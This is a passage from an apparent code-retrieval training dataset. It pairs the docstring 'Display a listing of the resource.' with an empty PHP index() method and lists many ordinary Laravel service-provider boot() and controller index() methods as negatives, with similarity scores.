as $provider)\n {\n // check if the service provider has a boot method.\n if (method_exists($provider, 'boot')) {\n $provider->boot();\n }\n }\n }", "public function boot(): void\n {\n // $this->loadTranslationsFrom(__DIR__.'/../resources/lang', 'imc');\n $this->loadMigrationsFrom(__DIR__.'/../database/migrations');\n $this->loadViewsFrom(__DIR__.'/../resources/views', 'imc');\n $this->registerPackageRoutes();\n\n // Publishing is only necessary when using the CLI.\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n {\n // Larapex Livewire\n $this->mergeConfigFrom(__DIR__ . '/../configs/larapex-livewire.php', 'larapex-livewire');\n\n $this->loadViewsFrom(__DIR__ . '/../resources/views', 'larapex-livewire');\n\n $this->registerBladeDirectives();\n\n if ($this->app->runningInConsole()) {\n $this->registerCommands();\n $this->publishResources();\n }\n }", "public function boot()\n {\n // Bootstrap code here.\n $this->app->singleton(L9SmsApiChannel::class, function () {\n $config = config('l9smsapi');\n if (empty($config['token']) || empty($config['service'])) {\n throw new \\Exception('L9SmsApi missing token and service in config');\n }\n\n return new L9SmsApiChannel($config['token'], $config['service']);\n });\n\n if ($this->app->runningInConsole()) {\n $this->publishes([\n __DIR__.'/../config/l9smsapi.php' => config_path('l9smsapi.php'),\n ], 'config');\n }\n }", "public function boot()\n\t{\n\t\t$this->bindRepositories();\n\t}", "public function boot()\n {\n if (!$this->app->runningInConsole()) {\n return;\n }\n\n $this->commands([\n ListenCommand::class,\n InstallCommand::class,\n EventsListCommand::class,\n ObserverMakeCommand::class,\n ]);\n\n foreach ($this->listen as $event => $listeners) {\n foreach ($listeners as $listener) {\n RabbitEvents::listen($event, $listener);\n }\n }\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n MultiAuthInstallCommand::class,\n ]);\n }\n }", "public function boot() {\n\n\t\t$this->registerProviders();\n\t\t$this->bootProviders();\n\t\t$this->registerProxies();\n\t}", "public function boot(): void\n {\n // routes\n $this->loadRoutes();\n // assets\n $this->loadAssets('assets');\n // configuration\n $this->loadConfig('configs');\n // views\n $this->loadViews('views');\n // view extends\n $this->extendViews();\n // translations\n $this->loadTranslates('views');\n // adminer\n $this->loadAdminer('adminer');\n // commands\n $this->loadCommands();\n // gates\n $this->registerGates();\n // listeners\n $this->registerListeners();\n // settings\n $this->applySettings();\n }", "public function boot()\n {\n $this->setupFacades();\n $this->setupViews();\n $this->setupBlades();\n }", "public function boot()\n {\n\n $this->app->translate_manager->addTranslateProvider(TranslateMenu::class);\n\n\n\n $this->loadRoutesFrom(__DIR__ . '/../routes/api.php');\n $this->loadMigrationsFrom(__DIR__ . '/../migrations/');\n\n\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([\n __DIR__ . '/../config/larkeauth-rbac-model.conf' => config_path('larkeauth-rbac-model.conf.larkeauth'),\n __DIR__ . '/../config/larkeauth.php' => config_path('larkeauth.php.larkeauth')\n ], 'larke-auth-config');\n\n $this->commands([\n Commands\\Install::class,\n Commands\\GroupAdd::class,\n Commands\\PolicyAdd::class,\n Commands\\RoleAssign::class,\n ]);\n }\n\n $this->mergeConfigFrom(__DIR__ . '/../config/larkeauth.php', 'larkeauth');\n\n $this->bootObserver();\n }", "public function boot(): void\n {\n $this->app\n ->when(RocketChatWebhookChannel::class)\n ->needs(RocketChat::class)\n ->give(function () {\n return new RocketChat(\n new HttpClient(),\n Config::get('services.rocketchat.url'),\n Config::get('services.rocketchat.token'),\n Config::get('services.rocketchat.channel')\n );\n });\n }", "public function boot()\n {\n if ($this->booted) {\n return;\n }\n\n $this->app->registerConfiguredProvidersInRequest();\n\n $this->fireAppCallbacks($this->bootingCallbacks);\n\n /** array_walk\n * If when a provider booting, it reg some other providers,\n * then the new providers added to $this->serviceProviders\n * then array_walk will loop the new ones and boot them. // pingpong/modules 2.0 use this feature\n */\n array_walk($this->serviceProviders, function ($p) {\n $this->bootProvider($p);\n });\n\n $this->booted = true;\n\n $this->fireAppCallbacks($this->bootedCallbacks);\n }", "public function boot()\n {\n $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n\n if ($this->app->runningInConsole()) {\n $this->bootForConsole();\n }\n }", "public function boot()\n\t{\n\t\t$this->package('atlantis/admin');\n\n\t\t#i: Set the locale\n\t\t$this->setLocale();\n\n $this->registerServiceAdminValidator();\n $this->registerServiceAdminFactory();\n $this->registerServiceAdminDataTable();\n $this->registerServiceModules();\n\n\t\t#i: Include our filters, view composers, and routes\n\t\tinclude __DIR__.'/../../filters.php';\n\t\tinclude __DIR__.'/../../views.php';\n\t\tinclude __DIR__.'/../../routes.php';\n\n\t\t$this->app['events']->fire('admin.ready');\n\t}", "public function boot()\n {\n $this->app->booted(function () {\n $this->callMethodIfExists('jobs');\n });\n }", "public function boot()\n {\n $this->bootSetTimeLocale();\n $this->bootBladeHotelRole();\n $this->bootBladeHotelGuest();\n $this->bootBladeIcon();\n }", "public function boot(): void\n {\n $this->registerRoutes();\n $this->registerResources();\n $this->registerMixins();\n\n if ($this->app->runningInConsole()) {\n $this->offerPublishing();\n $this->registerMigrations();\n }\n }", "public function boot()\n {\n $this->dispatch(new SetCoreConnection());\n $this->dispatch(new ConfigureCommandBus());\n $this->dispatch(new ConfigureTranslator());\n $this->dispatch(new LoadStreamsConfiguration());\n\n $this->dispatch(new InitializeApplication());\n $this->dispatch(new AutoloadEntryModels());\n $this->dispatch(new AddAssetNamespaces());\n $this->dispatch(new AddImageNamespaces());\n $this->dispatch(new AddViewNamespaces());\n $this->dispatch(new AddTwigExtensions());\n $this->dispatch(new RegisterAddons());\n }", "public function boot(): void\n {\n $this->loadViews();\n $this->loadTranslations();\n\n if ($this->app->runningInConsole()) {\n $this->publishMultipleConfig();\n $this->publishViews(false);\n $this->publishTranslations(false);\n }\n }", "public function boot()\n {\n $this->bootForConsole();\n $this->loadRoutesFrom(__DIR__ . '/routes/web.php');\n $this->loadViewsFrom(__DIR__ . '/./../resources/views', 'bakerysoft');\n }", "public function boot()\n {\n $this->app->booted(function () {\n $this->defineRoutes();\n });\n $this->defineResources();\n $this->registerDependencies();\n }", "public function boot()\n {\n $this->app->bind(CustomersRepositoryInterface::class, CustomersRepository::class);\n $this->app->bind(CountryToCodeMapperInterface::class, CountryToCodeMapper::class);\n $this->app->bind(PhoneNumbersValidatorInterface::class, PhoneNumbersRegexValidator::class);\n $this->app->bind(CustomersFilterServiceInterface::class, CustomersFilterService::class);\n $this->app->bind(CacheInterface::class, CacheAdapter::class);\n\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->publishes([$this->configPath() => config_path('oauth.php')], 'oauth');\n }\n\n app()->bind(ClientToken::class, function () {\n return new ClientToken();\n });\n\n app()->bind(TokenParser::class, function () {\n return new TokenParser(\n app()->get(Request::class)\n );\n });\n\n app()->bind(OAuthClient::class, function () {\n return new OAuthClient(\n app()->get(Request::class),\n app()->get(ClientToken::class)\n );\n });\n\n app()->bind(AccountService::class, function () {\n return new AccountService(app()->get(OAuthClient::class));\n });\n }", "public function boot()\n {\n Client::observe(ClientObserver::class);\n $this->app->bind(ClientRepositoryInterface::class, function ($app) {\n return new ClientRepository(Client::class);\n });\n $this->app->bind(UserRepositoryInterface::class, function ($app) {\n return new UserRepository(User::class);\n });\n }", "public function boot()\n {\n $this->setupFacades(); \n //$this->setupConfigs(); \n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n //\n }\n\n $this->loadRoutesFrom(__DIR__ . '/routes.php');\n }", "public function boot()\n {\n $path = __DIR__.'/../..';\n\n $this->package('clumsy/cms', 'clumsy', $path);\n\n $this->registerAuthRoutes();\n $this->registerBackEndRoutes();\n\n require $path.'/helpers.php';\n require $path.'/errors.php';\n require $path.'/filters.php';\n\n if ($this->app->runningInConsole()) {\n $this->app->make('Clumsy\\CMS\\Clumsy');\n }\n\n }", "public function boot()\n {\n $this->mergeConfigFrom(__DIR__ . '/../../config/bs4.php', 'bs4');\n $this->loadViewsFrom(__DIR__ . '/../../resources/views', 'bs');\n $this->loadTranslationsFrom(__DIR__ . '/../../resources/lang', 'bs');\n\n if ($this->app->runningInConsole())\n {\n $this->publishes([\n __DIR__ . '/../../resources/views' => resource_path('views/vendor/bs'),\n ], 'views');\n\n $this->publishes([\n __DIR__ . '/../../resources/lang' => resource_path('lang/vendor/bs'),\n ], 'lang');\n\n $this->publishes([\n __DIR__ . '/../../config' => config_path(),\n ], 'config');\n }\n }", "public function boot()\n {\n $this->client = new HttpClient([\n 'base_uri' => 'https://api.ipfinder.io/v1/',\n 'headers' => [\n 'User-Agent' => 'Laravel-GeoIP-Torann',\n ],\n 'query' => [\n 'token' => $this->config('key'),\n ],\n ]);\n }", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n Check::class,\n Clear::class,\n Fix::class,\n Fresh::class,\n Foo::class,\n Ide::class,\n MakeDatabase::class,\n Ping::class,\n Version::class,\n ]);\n }\n }", "public function boot()\n {\n $app = $this->app;\n\n if (!$app->runningInConsole()) {\n return;\n }\n\n $source = realpath(__DIR__ . '/config/config.php');\n\n if (class_exists('Illuminate\\Foundation\\Application', false)) {\n // L5\n $this->publishes([$source => config_path('sniffer-rules.php')]);\n $this->mergeConfigFrom($source, 'sniffer-rules');\n } elseif (class_exists('Laravel\\Lumen\\Application', false)) {\n // Lumen\n $app->configure('sniffer-rules');\n $this->mergeConfigFrom($source, 'sniffer-rules');\n } else {\n // L4\n $this->package('chefsplate/sniffer-rules', null, __DIR__);\n }\n }", "public function boot()\r\n\t{\r\n\t\t$this->package('estey/hipsupport');\r\n\t\t$this->registerHipSupport();\r\n\t\t$this->registerHipSupportOnlineCommand();\r\n\t\t$this->registerHipSupportOfflineCommand();\r\n\r\n\t\t$this->registerCommands();\r\n\t}", "public function boot()\n {\n if ($this->app->runningInConsole()) {\n $this->commands([\n ControllerMakeCommand::class,\n ServiceMakeCommand::class,\n RepositoryMakeCommand::class,\n ModelMakeCommand::class,\n RequestRuleMakeCommand::class,\n ]);\n }\n }", "public function boot() {\n $srcDir = __DIR__ . '/../';\n \n $this->package('baseline/baseline', 'baseline', $srcDir);\n \n include $srcDir . 'Http/routes.php';\n include $srcDir . 'Http/filters.php';\n }", "public function boot()\n {\n $this->app->bind('App\\Services\\ProviderAccountService', function() {\n return new ProviderAccountService;\n });\n }", "public function boot()\n {\n $this->loadViewsFrom(__DIR__ . '/resources/views', 'Counters');\n\n $this->loadTranslationsFrom(__DIR__ . '/resources/lang', 'Counters');\n\n\n //To load migration files directly from the package\n// $this->loadMigrationsFrom(__DIR__ . '/../database/migrations');\n\n\n $this->app->booted(function () {\n $loader = AliasLoader::getInstance();\n $loader->alias('Counters', Counters::class);\n\n });\n\n $this->publishes([\n __DIR__ . '/../config/counter.php' => config_path('counter.php'),\n ], 'config');\n\n\n\n $this->publishes([\n __DIR__.'/../database/migrations/0000_00_00_000000_create_counters_tables.php' => $this->app->databasePath().\"/migrations/0000_00_00_000000_create_counters_tables.php\",\n ], 'migrations');\n\n\n if ($this->app->runningInConsole()) {\n $this->commands([\\Maher\\Counters\\Commands\\MakeCounter::class]);\n }\n\n\n }", "public function boot(Application $app)\n {\n\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }", "public function boot()\n {\n }" ]
[ "0.7344842", "0.7212776", "0.7207748", "0.7123287", "0.7109729", "0.70822036", "0.7076881", "0.70718396", "0.7051853", "0.7025475", "0.7011949", "0.70043486", "0.6955807", "0.69322443", "0.69319373", "0.69272774", "0.6911386", "0.69069713", "0.6898877", "0.6898432", "0.6896597", "0.6889767", "0.6886577", "0.6880688", "0.6875815", "0.6874972", "0.68696195", "0.6864291", "0.6864246", "0.68631536", "0.68599164", "0.6857919", "0.685537", "0.68552583", "0.68522125", "0.6839775", "0.683261", "0.6831196", "0.68272495", "0.68250644", "0.68241394", "0.68181944", "0.68132496", "0.68117976", "0.6811785", "0.6808445", "0.68066794", "0.680175", "0.68005246", "0.67994386", "0.67969066", "0.67912513", "0.67884964", "0.678574", "0.678558", "0.6783794", "0.67782456", "0.6773669", "0.6766658", "0.6766194", "0.67617613", "0.67611295", "0.6758855", "0.6756636", "0.6754412", "0.6751842", "0.6747439", "0.6744991", "0.67441815", "0.6743506", "0.67400324", "0.6739403", "0.6738356", "0.6738189", "0.6731425", "0.6730627", "0.67293024", "0.6726232", "0.67261064", "0.67192256", "0.6716676", "0.6716229", "0.671442", "0.6713091", "0.6702467", "0.66990495", "0.66913867", "0.6689953", "0.66861963", "0.66840357", "0.66826946", "0.6681548", "0.6680455", "0.6676407", "0.6675645", "0.6672465", "0.66722375", "0.66722375", "0.66722375", "0.66722375", "0.66722375" ]
0.0
-1
Display a listing of the resource.
public function index() { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }", "public function listing();", "function index() {\n\t\t$this->show_list();\n\t}", "public function actionList() {\n $this->_getList();\n }", "public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }", "public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }", "public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }", "function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}", "public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }", "public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }", "public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}", "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }", "public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}", "public function actionRestList() {\n\t $this->doRestList();\n\t}", "public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}", "public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }", "public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }", "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}", "public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}", "public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }", "public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }", "public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }", "public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }", "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}", "public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }", "public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}", "public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }", "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function index()\n {\n $this->list_view();\n }", "public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }", "public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }", "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}", "public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }", "public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }", "public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }", "public function index()\n {\n return Resources::collection(Checking::paginate());\n }", "public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }", "public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }", "public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }", "public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }", "public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }", "public function view(){\n\t\t$this->buildListing();\n\t}", "public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }", "public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }", "public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }", "public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }", "public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }", "public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }", "public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }", "public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }", "public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }", "public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}", "public function listAction() {}", "public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }", "public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }", "public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }", "public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }", "public function executeList()\n {\n $this->setTemplate('list');\n }", "public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }", "function listing() {\r\n\r\n }", "public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }", "public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }", "public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}", "public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }", "public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }", "public function _index(){\n\t $this->_list();\n\t}", "public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}", "function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}", "public function index()\n {\n $this->booklist();\n }", "public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }", "public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }", "public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }", "public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }", "public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }", "public function indexAction() {\n $this->_forward('list');\n }", "public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }", "public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }", "public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}", "public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }", "public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }", "public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }", "public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }", "public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }", "public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }", "public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }", "public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() 